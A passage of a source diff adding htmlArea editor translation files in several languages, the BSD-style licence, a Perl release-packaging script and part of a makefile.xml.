+ italic: "Kursiv",
+ underline: "Understreket",
+ strikethrough: "Gjennomstreket",
+ subscript: "Senket",
+ superscript: "Hevet",
+ justifyleft: "Venstrejuster",
+ justifycenter: "Midtjuster",
+ justifyright: "Høyrejuster",
+ justifyfull: "Blokkjuster",
+ orderedlist: "Nummerert liste",
+ unorderedlist: "Punktmerket liste",
+ outdent: "Øke innrykk",
+ indent: "Reduser innrykk",
+ forecolor: "Skriftfarge",
+ backcolor: "Bakgrunnsfarge",
+ horizontalrule: "Horisontal linje",
+ createlink: "Sett inn lenke",
+ insertimage: "Sett inn bilde",
+ inserttable: "Sett inn tabell",
+ htmlmode: "Vis HTML kode",
+ popupeditor: "Forstørr redigeringsvindu",
+ about: "Om..",
+ help: "Hjelp",
+ textindicator: "Gjeldende stil"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "nl",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Vet",\r\r
+ italic: "Cursief",\r\r
+ underline: "Onderstrepen",\r\r
+ strikethrough: "Doorhalen",\r\r
+ subscript: "Subscript",\r\r
+ superscript: "Superscript",\r\r
+ justifyleft: "Links uitlijnen",\r\r
+ justifycenter: "Centreren",\r\r
+ justifyright: "Rechts uitlijnen",\r\r
+ justifyfull: "Uitvullen",\r\r
+ orderedlist: "Nummering",\r\r
+ unorderedlist: "Opsommingstekens",\r\r
+ outdent: "Inspringing verkleinen",\r\r
+ indent: "Inspringing vergroten",\r\r
+ forecolor: "Tekstkleur",\r\r
+ hilitecolor: "Achtergrondkleur",\r\r
+ inserthorizontalrule: "Horizontale lijn",\r\r
+ createlink: "Hyperlink invoegen/aanpassen",\r\r
+ insertimage: "Afbeelding invoegen/aanpassen",\r\r
+ inserttable: "Tabel invoegen",\r\r
+ htmlmode: "HTML broncode",\r\r
+ popupeditor: "Vergroot Editor",\r\r
+ about: "Over deze editor",\r\r
+ showhelp: "HTMLArea help",\r\r
+ textindicator: "Huidige stijl",\r\r
+ undo: "Ongedaan maken",\r\r
+ redo: "Herhalen",\r\r
+ cut: "Knippen",\r\r
+ copy: "Kopiëren",\r\r
+ paste: "Plakken",\r\r
+ lefttoright: "Tekstrichting links naar rechts",\r\r
+ righttoleft: "Tekstrichting rechts naar links"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Annuleren"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Pad",\r\r
+ "TEXT_MODE": "Je bent in TEKST-mode. Gebruik de [<>] knop om terug te keren naar WYSIWYG-mode.",\r\r
+ \r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "Fullscreen-mode veroorzaakt problemen met Internet Explorer door bugs in de webbrowser " +\r\r
+ "die we niet kunnen omzeilen. Hierdoor kunnen de volgende effecten optreden: verknoeide teksten, " +\r\r
+ "een verlies aan editor-functionaliteit en/of willekeurig vastlopen van de webbrowser. " +\r\r
+ "Als u Windows 95 of 98 gebruikt, is het zeer waarschijnlijk dat u een algemene beschermingsfout " +\r\r
+ "('General Protection Fault') krijgt en de computer opnieuw zal moeten opstarten.\n\n" +\r\r
+ "U bent gewaarschuwd. Druk OK als u toch nog de Fullscreen-editor wil gebruiken."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "Annuleren",\r\r
+ "Insert/Modify Link" : "Hyperlink invoegen/aanpassen",\r\r
+ "New window (_blank)" : "Nieuw venster (_blank)",\r\r
+ "None (use implicit)" : "Geen",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "Ander",\r\r
+ "Same frame (_self)" : "Zelfde frame (_self)",\r\r
+ "Target:" : "Doel:",\r\r
+ "Title (tooltip):" : "Titel (tooltip):",\r\r
+ "Top frame (_top)" : "Bovenste frame (_top)",\r\r
+ "URL:" : "URL:",\r\r
+ "You must enter the URL where this link points to" : "Geef de URL in waar de link naar verwijst"\r\r
+ }\r\r
+};\r\r
+\r\r
--- /dev/null
+// Norwegian version for htmlArea v3.0 - pre1\r\r
+// - translated by ses<ses@online.no>\r\r
+// Additional translations by Håvard Wigtil <havardw@extend.no>\r\r
+// term´s and licenses are equal to htmlarea!\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "no",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Fet",\r\r
+ italic: "Kursiv",\r\r
+ underline: "Understreket",\r\r
+ strikethrough: "Gjennomstreket",\r\r
+ subscript: "Nedsenket",\r\r
+ superscript: "Opphøyet",\r\r
+ justifyleft: "Venstrejuster",\r\r
+ justifycenter: "Midtjuster",\r\r
+ justifyright: "Høyrejuster",\r\r
+ justifyfull: "Blokkjuster",\r\r
+ orderedlist: "Nummerert liste",\r\r
+ unorderedlist: "Punktliste",\r\r
+ outdent: "Reduser innrykk",\r\r
+ indent: "Øke innrykk",\r\r
+ forecolor: "Tekstfarge",\r\r
+ hilitecolor: "Bakgrundsfarge",\r\r
+ inserthorizontalrule: "Vannrett linje",\r\r
+ createlink: "Lag lenke",\r\r
+ insertimage: "Sett inn bilde",\r\r
+ inserttable: "Sett inn tabell",\r\r
+ htmlmode: "Vis kildekode",\r\r
+ popupeditor: "Vis i eget vindu",\r\r
+ about: "Om denne editor",\r\r
+ showhelp: "Hjelp",\r\r
+ textindicator: "Nåværende stil",\r\r
+ undo: "Angrer siste redigering",\r\r
+ redo: "Gjør om siste angring",\r\r
+ cut: "Klipp ut område",\r\r
+ copy: "Kopier område",\r\r
+ paste: "Lim inn",\r\r
+ lefttoright: "Fra venstre mot høyre",\r\r
+ righttoleft: "Fra høyre mot venstre"\r\r
+ },\r\r
+ \r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Avbryt"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Tekstvelger",\r\r
+ "TEXT_MODE": "Du er i tekstmodus Klikk på [<>] for å gå tilbake til WYSIWIG.",\r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "Visning i eget vindu har kjente problemer med Internet Explorer, " + \r\r
+ "på grunn av problemer med denne nettleseren. Mulige problemer er et uryddig " + \r\r
+ "skjermbilde, manglende editorfunksjoner og/eller at nettleseren crasher. Hvis du bruker Windows 95 eller Windows 98 " +\r\r
+ "er det også muligheter for at Windows will crashe.\n\n" +\r\r
+ "Trykk 'OK' hvis du vil bruke visning i eget vindu på tross av denne advarselen."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "Avbryt",\r\r
+ "Insert/Modify Link" : "Rediger lenke",\r\r
+ "New window (_blank)" : "Eget vindu (_blank)",\r\r
+ "None (use implicit)" : "Ingen (bruk standardinnstilling)",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "Annen",\r\r
+ "Same frame (_self)" : "Samme ramme (_self)",\r\r
+ "Target:" : "Mål:",\r\r
+ "Title (tooltip):" : "Tittel (tooltip):",\r\r
+ "Top frame (_top)" : "Toppramme (_top)",\r\r
+ "URL:" : "Adresse:",\r\r
+ "You must enter the URL where this link points to" : "Du må skrive inn en adresse som denne lenken skal peke til"\r\r
+ }\r\r
+};\r\r
+\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "pl",\r
+\r
+ tooltips: {\r\r
+ bold: "Pogrubienie",\r\r
+ italic: "Pochylenie",\r\r
+ underline: "Podkre\9clenie",\r\r
+ strikethrough: "Przekre\9clenie",\r\r
+ subscript: "Indeks dolny",\r\r
+ superscript: "Indeks górny",\r\r
+ justifyleft: "Wyrównaj do lewej",\r\r
+ justifycenter: "Wy\9crodkuj",\r\r
+ justifyright: "Wyrównaj do prawej",\r\r
+ justifyfull: "Wyjustuj",\r\r
+ orderedlist: "Numerowanie",\r\r
+ unorderedlist: "Wypunktowanie",\r\r
+ outdent: "Zmniejsz wciêcie",\r\r
+ indent: "Zwiêksz wciêcie",\r\r
+ forecolor: "Kolor czcionki",\r\r
+ backcolor: "Kolor t³a",\r\r
+ horizontalrule: "Linia pozioma",\r\r
+ createlink: "Wstaw adres sieci Web",\r\r
+ insertimage: "Wstaw obraz",\r\r
+ inserttable: "Wstaw tabelê",\r\r
+ htmlmode: "Edycja WYSIWYG/w \9fródle strony",\r\r
+ popupeditor: "Pe³ny ekran",\r\r
+ about: "Informacje o tym edytorze",\r\r
+ help: "Pomoc",\r\r
+ textindicator: "Obecny styl"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+// Brazilian Portuguese Translation by Alex Piaz <webmaster@globalmap.com>\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "pt_br",\r
+\r
+ tooltips: {\r\r
+ bold: "Negrito",\r\r
+ italic: "Itálico",\r\r
+ underline: "Sublinhado",\r\r
+ strikethrough: "Tachado",\r\r
+ subscript: "Subescrito",\r\r
+ superscript: "Sobrescrito",\r\r
+ justifyleft: "Alinhar à Esquerda",\r\r
+ justifycenter: "Centralizar",\r\r
+ justifyright: "Alinhar à Direita",\r\r
+ justifyfull: "Justificar",\r\r
+ orderedlist: "Lista Numerada",\r\r
+ unorderedlist: "Lista Marcadores",\r\r
+ outdent: "Diminuir Indentação",\r\r
+ indent: "Aumentar Indentação",\r\r
+ forecolor: "Cor da Fonte",\r\r
+ backcolor: "Cor do Fundo",\r\r
+ horizontalrule: "Linha Horizontal",\r\r
+ createlink: "Inserir Link",\r\r
+ insertimage: "Inserir Imagem",\r\r
+ inserttable: "Inserir Tabela",\r\r
+ htmlmode: "Ver Código-Fonte",\r\r
+ popupeditor: "Expandir Editor",\r\r
+ about: "Sobre",\r\r
+ help: "Ajuda",\r\r
+ textindicator: "Estilo Atual"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ro",
+
+ tooltips: {
+ bold: "Îngroşat",
+ italic: "Italic",
+ underline: "Subliniat",
+ strikethrough: "Tăiat",
+ subscript: "Indice jos",
+ superscript: "Indice sus",
+ justifyleft: "Aliniere la stânga",
+ justifycenter: "Aliniere pe centru",
+ justifyright: "Aliniere la dreapta",
+ justifyfull: "Aliniere în ambele părţi",
+ orderedlist: "Listă ordonată",
+ unorderedlist: "Listă marcată",
+ outdent: "Micşorează alineatul",
+ indent: "Măreşte alineatul",
+ forecolor: "Culoarea textului",
+ hilitecolor: "Culoare de fundal",
+ horizontalrule: "Linie orizontală",
+ createlink: "Inserează/modifică link",
+ insertimage: "Inserează/modifică imagine",
+ inserttable: "Inserează un tabel",
+ htmlmode: "Sursa HTML / WYSIWYG",
+ popupeditor: "Maximizează editorul",
+ about: "Despre editor",
+ showhelp: "Documentaţie (devel)",
+ textindicator: "Stilul curent",
+ undo: "Anulează ultima acţiune",
+ redo: "Reface ultima acţiune anulată",
+ cut: "Taie în clipboard",
+ copy: "Copie în clipboard",
+ paste: "Aduce din clipboard",
+ lefttoright: "Direcţia de scriere: stânga - dreapta",
+ righttoleft: "Direcţia de scriere: dreapta - stânga"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Anulează"
+ },
+
+ msg: {
+ "Path": "Calea",
+ "TEXT_MODE": "Eşti în modul TEXT. Apasă butonul [<>] pentru a te întoarce în modul WYSIWYG."
+ },
+
+ dialogs: {
+ "Cancel" : "Renunţă",
+ "Insert/Modify Link" : "Inserează/modifcă link",
+ "New window (_blank)" : "Fereastră nouă (_blank)",
+ "None (use implicit)" : "Nimic (foloseşte ce-i implicit)",
+ "OK" : "Acceptă",
+ "Other" : "Alt target",
+ "Same frame (_self)" : "Aceeaşi fereastră (_self)",
+ "Target:" : "Ţinta:",
+ "Title (tooltip):" : "Titlul (tooltip):",
+ "Top frame (_top)" : "Fereastra principală (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Trebuie să introduceţi un URL"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "ru", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Yulya Shtyryakova, <yulya@vdcom.ru>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "ru",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Полужирный",\r\r
+ italic: "Наклонный",\r\r
+ underline: "Подчеркнутый",\r\r
+ strikethrough: "Перечеркнутый",\r\r
+ subscript: "Нижний индекс",\r\r
+ superscript: "Верхний индекс",\r\r
+ justifyleft: "По левому краю",\r\r
+ justifycenter: "По центру",\r\r
+ justifyright: "По правому краю",\r\r
+ justifyfull: "По ширине",\r\r
+ orderedlist: "Нумерованный лист",\r\r
+ unorderedlist: "Маркированный лист",\r\r
+ outdent: "Уменьшить отступ",\r\r
+ indent: "Увеличить отступ",\r\r
+ forecolor: "Цвет шрифта",\r\r
+ hilitecolor: "Цвет фона",\r\r
+ horizontalrule: "Горизонтальный разделитель",\r\r
+ createlink: "Вставить гиперссылку",\r\r
+ insertimage: "Вставить изображение",\r\r
+ inserttable: "Вставить таблицу",\r\r
+ htmlmode: "Показать Html-код",\r\r
+ popupeditor: "Увеличить редактор",\r\r
+ about: "О редакторе",\r\r
+ showhelp: "Помощь",\r\r
+ textindicator: "Текущий стиль",\r\r
+ undo: "Отменить",\r\r
+ redo: "Повторить",\r\r
+ cut: "Вырезать",\r\r
+ copy: "Копировать",\r\r
+ paste: "Вставить"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Отмена"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Путь",\r\r
+ "TEXT_MODE": "Вы в режиме отображения Html-кода. нажмите кнопку [<>], чтобы переключиться в визуальный режим."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// Swedish version for htmlArea v3.0 - Alpha Release\r\r
+// - translated by pat<pat@engvall.nu>\r\r
+// term´s and licenses are equal to htmlarea!\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "se",\r
+\r
+ tooltips: {\r\r
+ bold: "Fet",\r\r
+ italic: "Kursiv",\r\r
+ underline: "Understruken",\r\r
+ strikethrough: "Genomstruken",\r\r
+ subscript: "Nedsänkt",\r\r
+ superscript: "Upphöjd",\r\r
+ justifyleft: "Vänsterjustera",\r\r
+ justifycenter: "Centrera",\r\r
+ justifyright: "Högerjustera",\r\r
+ justifyfull: "Marginaljustera",\r\r
+ orderedlist: "Numrerad lista",\r\r
+ unorderedlist: "Punktlista",\r\r
+ outdent: "Minska indrag",\r\r
+ indent: "Öka indrag",\r\r
+ forecolor: "Textfärg",\r\r
+ backcolor: "Bakgrundsfärg",\r\r
+ horizontalrule: "Vågrät linje",\r\r
+ createlink: "Infoga länk",\r\r
+ insertimage: "Infoga bild",\r\r
+ inserttable: "Infoga tabell",\r\r
+ htmlmode: "Visa källkod",\r\r
+ popupeditor: "Visa i eget fönster",\r\r
+ about: "Om denna editor",\r\r
+ help: "Hjälp",\r\r
+ textindicator: "Nuvarande stil"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "si", ENCODING: ISO-8859-2\r\r
+// Author: Tomaz Kregar, x_tomo_x@email.si\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "si",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Krepko",\r\r
+ italic: "Le¾eèe",\r\r
+ underline: "Podèrtano",\r\r
+ strikethrough: "Preèrtano",\r\r
+ subscript: "Podpisano",\r\r
+ superscript: "Nadpisano",\r\r
+ justifyleft: "Poravnaj levo",\r\r
+ justifycenter: "Na sredino",\r\r
+ justifyright: "Poravnaj desno",\r\r
+ justifyfull: "Porazdeli vsebino",\r\r
+ orderedlist: "O¹tevilèevanje",\r\r
+ unorderedlist: "Oznaèevanje",\r\r
+ outdent: "Zmanj¹aj zamik",\r\r
+ indent: "Poveèaj zamik",\r\r
+ forecolor: "Barva pisave",\r\r
+ hilitecolor: "Barva ozadja",\r\r
+ horizontalrule: "Vodoravna èrta",\r\r
+ createlink: "Vstavi hiperpovezavo",\r\r
+ insertimage: "Vstavi sliko",\r\r
+ inserttable: "Vstavi tabelo",\r\r
+ htmlmode: "Preklopi na HTML kodo",\r\r
+ popupeditor: "Poveèaj urejevalnik",\r\r
+ about: "Vizitka za urejevalnik",\r\r
+ showhelp: "Pomoè za urejevalnik",\r\r
+ textindicator: "Trenutni slog",\r\r
+ undo: "Razveljavi zadnjo akcijo",\r\r
+ redo: "Uveljavi zadnjo akcijo",\r\r
+ cut: "Izre¾i",\r\r
+ copy: "Kopiraj",\r\r
+ paste: "Prilepi"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "V redu",\r\r
+ "cancel": "Preklièi"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Pot",\r\r
+ "TEXT_MODE": "Si v tekstovnem naèinu. Uporabi [<>] gumb za prklop nazaj na WYSIWYG."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants : Vietnamese
+// LANG: "en", ENCODING: UTF-8
+// Author: Nguyễn Đình Nam, <hncryptologist@yahoo.com>
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "vn",
+
+ tooltips: {
+ bold: "Đậm",
+ italic: "Nghiêng",
+ underline: "Gạch Chân",
+ strikethrough: "Gạch Xóa",
+ subscript: "Viết Xuống Dưới",
+ superscript: "Viết Lên Trên",
+ justifyleft: "Căn Trái",
+ justifycenter: "Căn Giữa",
+ justifyright: "Căn Phải",
+ justifyfull: "Căn Đều",
+ orderedlist: "Danh Sách Có Thứ Tự",
+ unorderedlist: "Danh Sách Phi Thứ Tự",
+ outdent: "Lùi Ra Ngoài",
+ indent: "Thụt Vào Trong",
+ forecolor: "Màu Chữ",
+ backcolor: "Màu Nền",
+ horizontalrule: "Dòng Kẻ Ngang",
+ createlink: "Tạo Liên Kết",
+ insertimage: "Chèn Ảnh",
+ inserttable: "Chèn Bảng",
+ htmlmode: "Chế Độ Mã HTML",
+ popupeditor: "Phóng To Ô Soạn Thảo",
+ about: "Tự Giới Thiệu",
+ showhelp: "Giúp Đỡ",
+ textindicator: "Định Dạng Hiện Thời",
+ undo: "Undo",
+ redo: "Redo",
+ cut: "Cắt",
+ copy: "Copy",
+ paste: "Dán"
+ },
+ buttons: {
+ "ok": "OK",
+ "cancel": "Hủy"
+ },
+ msg: {
+ "Path": "Đường Dẫn",
+ "TEXT_MODE": "Bạn đang ở chế độ text. Sử dụng nút [<>] để chuyển lại chế độ WYSIWIG."
+ }
+};
--- /dev/null
+htmlArea License (based on BSD license)\r\r
+Copyright (c) 2002-2004, interactivetools.com, inc.\r\r
+Copyright (c) 2003-2004 dynarch.com\r\r
+All rights reserved.\r\r
+\r\r
+Redistribution and use in source and binary forms, with or without\r\r
+modification, are permitted provided that the following conditions are met:\r\r
+\r\r
+1) Redistributions of source code must retain the above copyright notice,\r\r
+ this list of conditions and the following disclaimer.\r\r
+\r\r
+2) Redistributions in binary form must reproduce the above copyright notice,\r\r
+ this list of conditions and the following disclaimer in the documentation\r\r
+ and/or other materials provided with the distribution.\r\r
+\r\r
+3) Neither the name of interactivetools.com, inc. nor the names of its\r\r
+ contributors may be used to endorse or promote products derived from this\r\r
+ software without specific prior written permission.\r\r
+\r\r
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"\r\r
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\r
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\r\r
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\r\r
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\r\r
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\r\r
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\r\r
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\r
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\r\r
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\r\r
+POSSIBILITY OF SUCH DAMAGE.\r\r
--- /dev/null
+#! /usr/bin/perl -w
+# $Id: make-release.pl,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+# Script for creating a distribution archive. Based on make-release.pl from
+# jscalendar.
+
+# Author: Mihai Bazon, http://dynarch.com/mishoo
+# NO WARRANTIES WHATSOEVER. READ GNU LGPL.
+
+# This file requires HTML::Mason; this module is used for automatic
+# substitution of the version/release number as well as for selection of the
+# changelog (at least in the file release-notes.html). It might not work
+# without HTML::Mason.
+
+use strict;
+# use diagnostics;
+use HTML::Mason;
+use File::Find;
+use XML::Parser;
+use Data::Dumper;
+
+my $verbosity = 1;
+
+my $tmpdir = '/tmp';
+
+my $config = parseXML("project-config.xml");
+speak(3, Data::Dumper::Dumper($config));
+
+my ($project, $version, $release, $basename);
+
+$project = $config->{project}{ATTR}{title};
+$version = $config->{project}{version}{DATA};
+$release = $config->{project}{release}{DATA};
+$basename = "$project-$version";
+$basename .= "-$release" if ($release);
+
+speak(1, "Project: $basename");
+
+## create directory tree
+my ($basedir);
+{
+ # base directory
+ $basedir = "$tmpdir/$basename";
+ if (-d $basedir) {
+ speak(-1, "$basedir already exists, removing... >:-]\n");
+ system "rm -rf $basedir";
+ }
+}
+
+process_directory();
+
+## make the ZIP file
+chdir "$basedir/..";
+speak(1, "Making ZIP file /tmp/$basename.zip");
+system ("zip -r $basename.zip $basename > /dev/null");
+system ("ls -la /tmp/$basename.zip");
+
+## remove the basedir
+system("rm -rf $basedir");
+
+## back
+#chdir $cwd;
+
+
+
+### SUBROUTINES
+
+# handle _one_ file
+sub process_one_file {
+ my ($attr, $target) = @_;
+
+ $target =~ s/\/$//;
+ $target .= '/';
+ my $destination = $target.$attr->{REALNAME};
+
+ # copy file first
+ speak(1, " copying $attr->{REALNAME}");
+ system "cp $attr->{REALNAME} $destination";
+
+ my $masonize = $attr->{masonize} || '';
+ if ($masonize =~ /yes|on|1/i) {
+ speak(1, " > masonizing to $destination...");
+ my $args = $attr->{args} || '';
+ my @vars = split(/\s*,\s*/, $args);
+ my %args = ();
+ foreach my $i (@vars) {
+ $args{$i} = eval '$'.$i;
+ speak(1, " > argument: $i => $args{$i}");
+ }
+ my $outbuf;
+ my $interp = HTML::Mason::Interp->new ( comp_root => $target,
+ out_method => \$outbuf );
+ $interp->exec("/$attr->{REALNAME}", %args);
+ open (FILE, "> $destination");
+ print FILE $outbuf;
+ close (FILE);
+ }
+}
+
+# handle some files
+sub process_files {
+ my ($files, $target) = @_;
+
+ # proceed with the explicitely required files first
+ my %options = ();
+ foreach my $i (@{$files}) {
+ $options{$i->{ATTR}{name}} = $i->{ATTR};
+ }
+
+ foreach my $i (@{$files}) {
+ my @expanded = glob "$i->{ATTR}{name}";
+ foreach my $file (@expanded) {
+ $i->{ATTR}{REALNAME} = $file;
+ if (defined $options{$file}) {
+ unless (defined $options{$file}->{PROCESSED}) {
+ speak(1, "EXPLICIT FILE: $file");
+ $options{$file}->{REALNAME} = $file;
+ process_one_file($options{$file}, $target);
+ $options{$file}->{PROCESSED} = 1;
+ }
+ } else {
+ speak(2, "GLOB: $file");
+ process_one_file($i->{ATTR}, $target);
+ $options{$file} = 2;
+ }
+ }
+ }
+}
+
+# handle _one_ directory
+sub process_directory {
+ my ($dir, $path) = @_;
+ my $cwd = '..'; # ;-)
+
+ (defined $dir) || ($dir = '.');
+ (defined $path) || ($path = '');
+ speak(2, "DIR: $path$dir");
+ $dir =~ s/\/$//;
+ $dir .= '/';
+
+ unless (-d $dir) {
+ speak(-1, "DIRECTORY '$dir' NOT FOUND, SKIPPING");
+ return 0;
+ }
+
+ # go where we have stuff to do
+ chdir $dir;
+
+ my $target = $basedir;
+ ($path =~ /\S/) && ($target .= "/$path");
+ ($dir ne './') && ($target .= $dir);
+
+ speak(1, "*** Creating directory: $target");
+ mkdir $target;
+
+ unless (-f 'makefile.xml') {
+ speak(-1, "No makefile.xml in this directory");
+ chdir $cwd;
+ return 0;
+ }
+ my $config = parseXML("makefile.xml");
+ speak(3, Data::Dumper::Dumper($config));
+
+ my $tmp = $config->{files}{file};
+ if (defined $tmp) {
+ my $files;
+ if (ref($tmp) eq 'ARRAY') {
+ $files = $tmp;
+ } else {
+ $files = [ $tmp ];
+ }
+ process_files($files, $target);
+ }
+
+ $tmp = $config->{files}{dir};
+ if (defined $tmp) {
+ my $subdirs;
+ if (ref($tmp) eq 'ARRAY') {
+ $subdirs = $tmp;
+ } else {
+ $subdirs = [ $tmp ];
+ }
+ foreach my $i (@{$subdirs}) {
+ process_directory($i->{ATTR}{name}, $path.$dir);
+ }
+ }
+
+ # get back to our previous location
+ chdir $cwd;
+}
+
+# this does all the XML parsing shit we'll need for our little task
+sub parseXML {
+ my ($filename) = @_;
+ my $rethash = {};
+
+ my @tagstack;
+
+ my $handler_start = sub {
+ my ($parser, $tag, @attrs) = @_;
+ my $current_tag = {};
+ $current_tag->{NAME} = $tag;
+ $current_tag->{DATA} = '';
+ push @tagstack, $current_tag;
+ if (scalar @attrs) {
+ my $attrs = {};
+ $current_tag->{ATTR} = $attrs;
+ while (scalar @attrs) {
+ my $name = shift @attrs;
+ my $value = shift @attrs;
+ $attrs->{$name} = $value;
+ }
+ }
+ };
+
+ my $handler_char = sub {
+ my ($parser, $data) = @_;
+ if ($data =~ /\S/) {
+ $tagstack[$#tagstack]->{DATA} .= $data;
+ }
+ };
+
+ my $handler_end = sub {
+ my $current_tag = pop @tagstack;
+ if (scalar @tagstack) {
+ my $tmp = $tagstack[$#tagstack]->{$current_tag->{NAME}};
+ if (defined $tmp) {
+ ## better build an array, there are more elements with this tagname
+ if (ref($tmp) eq 'ARRAY') {
+ ## oops, the ARRAY is already there, just add the new element
+ push @{$tmp}, $current_tag;
+ } else {
+ ## create the array "in-place"
+ $tagstack[$#tagstack]->{$current_tag->{NAME}} = [ $tmp, $current_tag ];
+ }
+ } else {
+ $tagstack[$#tagstack]->{$current_tag->{NAME}} = $current_tag;
+ }
+ } else {
+ $rethash->{$current_tag->{NAME}} = $current_tag;
+ }
+ };
+
+ my $parser = new XML::Parser
+ ( Handlers => { Start => $handler_start,
+ Char => $handler_char,
+ End => $handler_end } );
+ $parser->parsefile($filename);
+
+ return $rethash;
+}
+
+# print somethign according to the level of verbosity
+# receives: verbosity_level and message
+# prints message if verbosity_level >= $verbosity (global)
+sub speak {
+ my ($v, $t) = @_;
+ if ($v < 0) {
+ print STDERR "\033[1;31m!! $t\033[0m\n";
+ } elsif ($verbosity >= $v) {
+ print $t, "\n";
+ }
+}
--- /dev/null
+<files>
+ <file name="*.{js,html,css,cgi}" />
+ <file name="license.txt" />
+ <file name="release-notes.html" masonize="yes" />
+ <file name="index.html" masonize="yes" />
+ <file name="ChangeLog" />
+
+ <dir name="lang" />
+ <dir name="plugins" />
+ <dir name="popups" />
+ <dir name="images" />
+ <dir name="examples" />
+
+ <shell dir="dest"><![CDATA[
